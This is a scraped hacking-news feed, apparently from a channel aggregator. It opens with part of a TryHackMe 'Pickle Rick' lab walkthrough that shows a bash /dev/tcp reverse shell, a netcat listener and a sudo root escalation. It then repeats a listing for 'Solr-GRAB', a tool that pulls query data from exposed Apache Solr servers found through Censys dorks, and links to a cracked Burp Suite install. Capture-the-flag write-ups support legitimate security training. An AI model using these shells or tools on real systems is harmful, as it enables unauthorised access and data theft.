jtMbh30qGa-ZxsmEou5nlIzdwCLcBGAsYHQ/s16000/5.png Back to our directory Bruteforce, this time we included the extension filter with the Bruteforce. We checked for the php files. After running for a while, it was able to extract a login.php. Maybe this is the portal that can be used to login into the web application<o:p dirb http://10.10.43.98 -X .php<o:phttps://1.bp.blogspot.com/-_5psAnvIhcc/YKzHrX1nxNI/AAAAAAAAwL8/GNUVs9grX2EObrzXoVPpBS7ExMV4uNR-wCLcBGAsYHQ/s16000/6.png Upon opening the login.php in the web browser, we see that it is the portal login. We use the username that we were able to enumerate from the source code of the home page and the password that we were able to enumerate from the robots.txt. <o:p http://10.10.43.98/login.php<o:pR1ckRul3s<o:pWubbalubbadubdub<o:phttps://1.bp.blogspot.com/-Nl3WaS9OO9g/YKzHvYcoKWI/AAAAAAAAwMA/kwwPJwEdPc4g5rVptRtagz0I1fxlneS4gCLcBGAsYHQ/s16000/7.png Exploitation<o:pWe were able to log in using the credentials. There were a bunch of other pages and options on the menu. However, the Commands tab attracted our attention. As expected, it was a panel that can be used to run system commands on the target machine. We ran the ls command to find a text file by the name of Sup3rS3cretPickl3Ingred.txt<o:p

<o:p https://1.bp.blogspot.com/-5iZQjevJY0k/YKzH0AP26UI/AAAAAAAAwMI/HzsWXMxTdAMkv8nyFdAtFifJhI7Q7zxSQCLcBGAsYHQ/s16000/8.png We tried reading the Sup3rS3cretPickl3Ingred.txt file using the cat command but we were intercepted by Mr. Meeseek he says that cat command is restricted. <o:p https://1.bp.blogspot.com/-xbhdIdFPU0Q/YKzH4BKG9uI/AAAAAAAAwMQ/8rkUp1EkAjIz6gyORt5y9vWAf75p6YFVACLcBGAsYHQ/s16000/9.png This is when we decided to pop open a reverse shell by executing a reverse shell script into the command section.<o:p bash -c 'bash -i >& /dev/tcp/10.10.210.158/8080 0>&1'<o:phttps://1.bp.blogspot.com/-uIlK0iA8-u8/YKzH9kSTQgI/AAAAAAAAwMY/5b4NfzzT-zYGQWoQPH-G8bPfWXIeBlY-gCLcBGAsYHQ/s16000/10.png We started a Netcat listener before executing the reverse shell script command on the web application. As soon as the execution went through, we had a reverse shell on the target machine as depicted below. Now there is no restricting that is stopping us from reading the Sup3rS3cretPickl3Ingred.txt file. We see that it contains one of the three Ingredients.<o:p nc -lvp 8080<o:pls<o:pcat Sup3rS3cretPickl3Ingred.txt<o:phttps://1.bp.blogspot.com/-rG5bbqB_XXU/YKzIBdWWAqI/AAAAAAAAwMg/L-_Bc06f7tQlfJCRA-kS7XkFAwEDiXJbwCLcBGAsYHQ/s16000/11.png The session that we have generated is for the user www-data. We enumerate the users on the machine to find the user rick. We traversed into the home directory of the rick user to find the Second ingredient. <o:p cd /home<o:pls<o:pcd rick<o:pls<o:pcat 'second ingredients'<o:phttps://1.bp.blogspot.com/-XrTFczj8wLw/YKzIGKwtA0I/AAAAAAAAwMo/2Urbe9YaWUoGNnI4X0zA_nPJXZCoxIZ1wCLcBGAsYHQ/s16000/12.png Privilege Escalation<o:pNow, we need to elevate the privileges on this machine to proceed. We check for the sudo permissions for the www-data user. We see that it can run all commands as root. We use the sudo command with bash to get the root shell. We were able to get the root shell on the machine. We then proceeded to read the Third Ingredient and conclude the machine. <o:p sudo -l<o:psudo bash<o:pwhoami<o:pcd /root<o:pcat 3rd.txt<o:phttps://1.bp.blogspot.com/-4Ae7W3cRLrI/YKzIMN32JCI/AAAAAAAAwMs/CEcyFUbPksoLrhnfOwyBxcBsuc7WkCR5QCLcBGAsYHQ/s16000/13.png

SUBDOMAIN TAKEOVER FOR BUG BOUNTY
https://brijesh-patel.medium.com/subdomain-takeover-for-bug-bounty-16b8179d89d9?source=rss------bug_bounty-5

hey guys hackingcage is here, welcome to back again another post. A subdomain takeover is taken into account a high severity threat and…Continue reading on Medium » (https://brijesh-patel.medium.com/subdomain-takeover-for-bug-bounty-16b8179d89d9?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Solr-GRAB - Steal Apache Solr Instance Queries With Or Without A Username And Password

Steal Apache Solr instance Queries with or without a username and password. DISCLAIMER: This project should be used for authorized testing and educational purposes only.Download git clone https://github.com/GnosticPlayers/Solr-GRAB Usage You can search for Apache Solr Instances via Censys, with the dork "Welcome To Solr" or "Apache Solr Admin". To grab queries, simply go to the http access point, sometimes being on port 80, 443 or 8080. Replace "http://URLHERE/" with a desired URL, such as "http://127.0.0.1/". Replace "PROJECTHERE/" with a desired project entry, such as a directory "users/". Replace "IDHERE" with an ID that is unique per entry in JSON on the apache solr query, such as "id" or "global_id". Lastly, replace "AMOUNTOFROWSHERE" with the amount of rows found in the query, such as "74332". Now execute it with: bash index.sh. Sometimes, you'll have an error where it's a 404 not found. If that's the case, add "/solr/" between "http://URLHERE/" & "PROJECTHERE", such as: https://127.0.0.1/solr/users/. This should fix the problem. Author & Credits Written by GnosticPlayers & g9648 g9648 Email: g9648@riseup.net Gnostic Contacts Email: dreammarket@riseup.net Download Solr-GRAB
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Install Burp Suite Pro on Kali Linux
https://medium.com/@sherlock297/install-burp-suite-pro-on-kali-linux-6abccc3860a8?source=rss------bug_bounty-5

Steps to install Burp Suite Pro cracked on Kali Linux:Continue reading on Medium » (https://medium.com/@sherlock297/install-burp-suite-pro-on-kali-linux-6abccc3860a8?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Bookstore TryHackMe Walkthrough

Today it is time to solve another challenge called “Bookstore”. It is available at TryHackMe for penetration testing practice. This challenge is of medium difficulty if you have the right basic knowledge and are attentive to little details that are required in the enumeration process. The credit for making this

The post Bookstore TryHackMe Walkthrough appeared first on Hacking Articles.

Hacking Articles
Pickle Rick TryHackMe Walkthrough

Today it is time to solve another challenge called “Pickle Rick”. It is available at TryHackMe for penetration testing practice. The challenge is of easy difficulty if you have the right basic knowledge and are attentive to little details that are required in the enumeration process. The credit for making

The post Pickle Rick TryHackMe Walkthrough appeared first on Hacking Articles.

SUBDOMAIN TAKEOVER FOR BUG BOUNTY

hey guys hackingcage is here, welcome to back again another post. A subdomain takeover is taken into account a high severity threat and…Continue reading on Medium »
Read more...

Dark Reading: Attacks/Breaches
Turn the Tables: Supply Chain Defense Needs Some Offense, Fortinet Says

SPONSORED CONTENT: Watch now -- While the SolarWinds hack put fresh attention on supply chain vulnerabilities, Derek Manky of Fortinet's Fortiguard Labs suggests dismantling cybercriminals' own supply chains.

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Solr-GRAB - Steal Apache Solr Instance Queries With Or Without A Username And Password

https://1.bp.blogspot.com/-f4oyhWKFA1s/YKrvgLQ2UwI/AAAAAAAAWQo/9Kwg97He3o8Mk1oT4UGRoGvpLa53iHJQgCNcBGAsYHQ/w640-h322/Apache%2BSolr.png
Steal Apache Solr instance Queries with or without a username and password.

DISCLAIMER: This project should be used for authorized testing and educational purposes only.
Download

git clone https://github.com/GnosticPlayers/Solr-GRAB


Usage

You can search for Apache Solr Instances via Censys, with the dork "Welcome To Solr"or "Apache Solr Admin". To grab queries, simply go to the http access point, sometimes being on port 80, 443 or 8080.

* Replace "http://URLHERE/" with a desired URL, such as "http://127.0.0.1/".
* Replace "PROJECTHERE/" with a desired project entry, such as a directory "users/".
* Replace "IDHERE" with an ID that is unique per entry in JSON on the apache solr query, such as "id"or "global_id".
* Lastly, replace "AMOUNTOFROWSHERE" with the amount of rows found in the query, such as "74332".

Now execute it with: bash index.sh.

Sometimes, you'll have an error where it's a 404 not found. If that's the case, add "/solr/"between "http://URLHERE/"& "PROJECTHERE", such as: https://127.0.0.1/solr/users/. This should fix the problem.

Author & Credits

Written by GnosticPlayers & g9648

g9648

Email: g9648@riseup.net

Gnostic Contacts

Email: dreammarket@riseup.net
Download Solr-GRAB

___________________________
@hacking_Attack
@Hacking_Video

Solr-GRAB - Steal Apache Solr Instance Queries With Or Without A Username And Password
http://www.kitploit.com/2021/05/solr-grab-steal-apache-solr-instance.html

Steal Apache (https://www.kitploit.com/search/label/Apache) Solr instance Queries with or without a username and password. DISCLAIMER: This project should be used for authorized testing (https://www.kitploit.com/search/label/Testing) and educational purposes only.
Download
git clone https://github.com/GnosticPlayers/Solr-GRAB

Usage
You can search for Apache Solr Instances via Censys, with the dork (https://www.kitploit.com/search/label/Dork) "Welcome To Solr" or "Apache Solr Admin". To grab queries, simply go to the http access (https://www.kitploit.com/search/label/Access) point, sometimes being on port 80, 443 or 8080. Replace "http://URLHERE/ (http://urlhere/)" with a desired URL, such as "http://127.0.0.1/". Replace "PROJECTHERE/" with a desired project entry, such as a directory "users/". Replace "IDHERE" with an ID that is unique per entry in JSON (https://www.kitploit.com/search/label/JSON) on the apache solr query, such as "id" or "global_id". Lastly, replace "AMOUNTOFROWSHERE" with the amount of rows found in the query, such as "74332". Now execute it with: bash index.sh. Sometimes, you'll have an error where it's a 404 not found. If that's the case, add "/solr/" between "http://URLHERE/" & "PROJECTHERE", such as: https://127.0.0.1/solr/users/. This should fix the problem.
Author & Credits
Written by GnosticPlayers & g9648
g9648
Email: g9648@riseup.net (mailto:g9648@riseup.net)
Gnostic Contacts
Email: dreammarket@riseup.net (mailto:dreammarket@riseup.net)

Download Solr-GRAB (https://github.com/GnosticPlayers/Solr-GRAB)

hacking: security in practice
phone

can anyone try to hack into my phone i wanna know its secure enough and what you can see when you hack it

submitted by /u/Head-Suit-2756
[link] [comments]

hacking: security in practice
Got multiple texts regarding password resets at 4:30 this morning - what should I do?

I hope this is the right place to ask, apologies in advance if it isn't.

I got multiple texts at 4:30am this morning regarding 2FA codes for resetting passwords of multiple different accounts of mine... This ever happened to anyone else?

I reckon someone got their hands on my info...

I'm pretty sure all my stuff is safe because they wouldn't have been able to get into my accounts, but it's still strange all the same, and kinda annoying as I had 5 calls this morning from random businesses (only one of which I actually picked up - a Citroen dealership which isn't even near where I live 😂).

submitted by /u/Hydra822
[link] [comments]

Hacking on Medium
Cybersecurity trends for 2021

https://cdn-images-1.medium.com/max/1500/1*7sfG__VJcrIwPUVO4EFH6w.png
2020 has been a year that everyone, everywhere in the world, will remember forever, a year in which all aspects of our lives have been…

Continue reading on edataconsulting »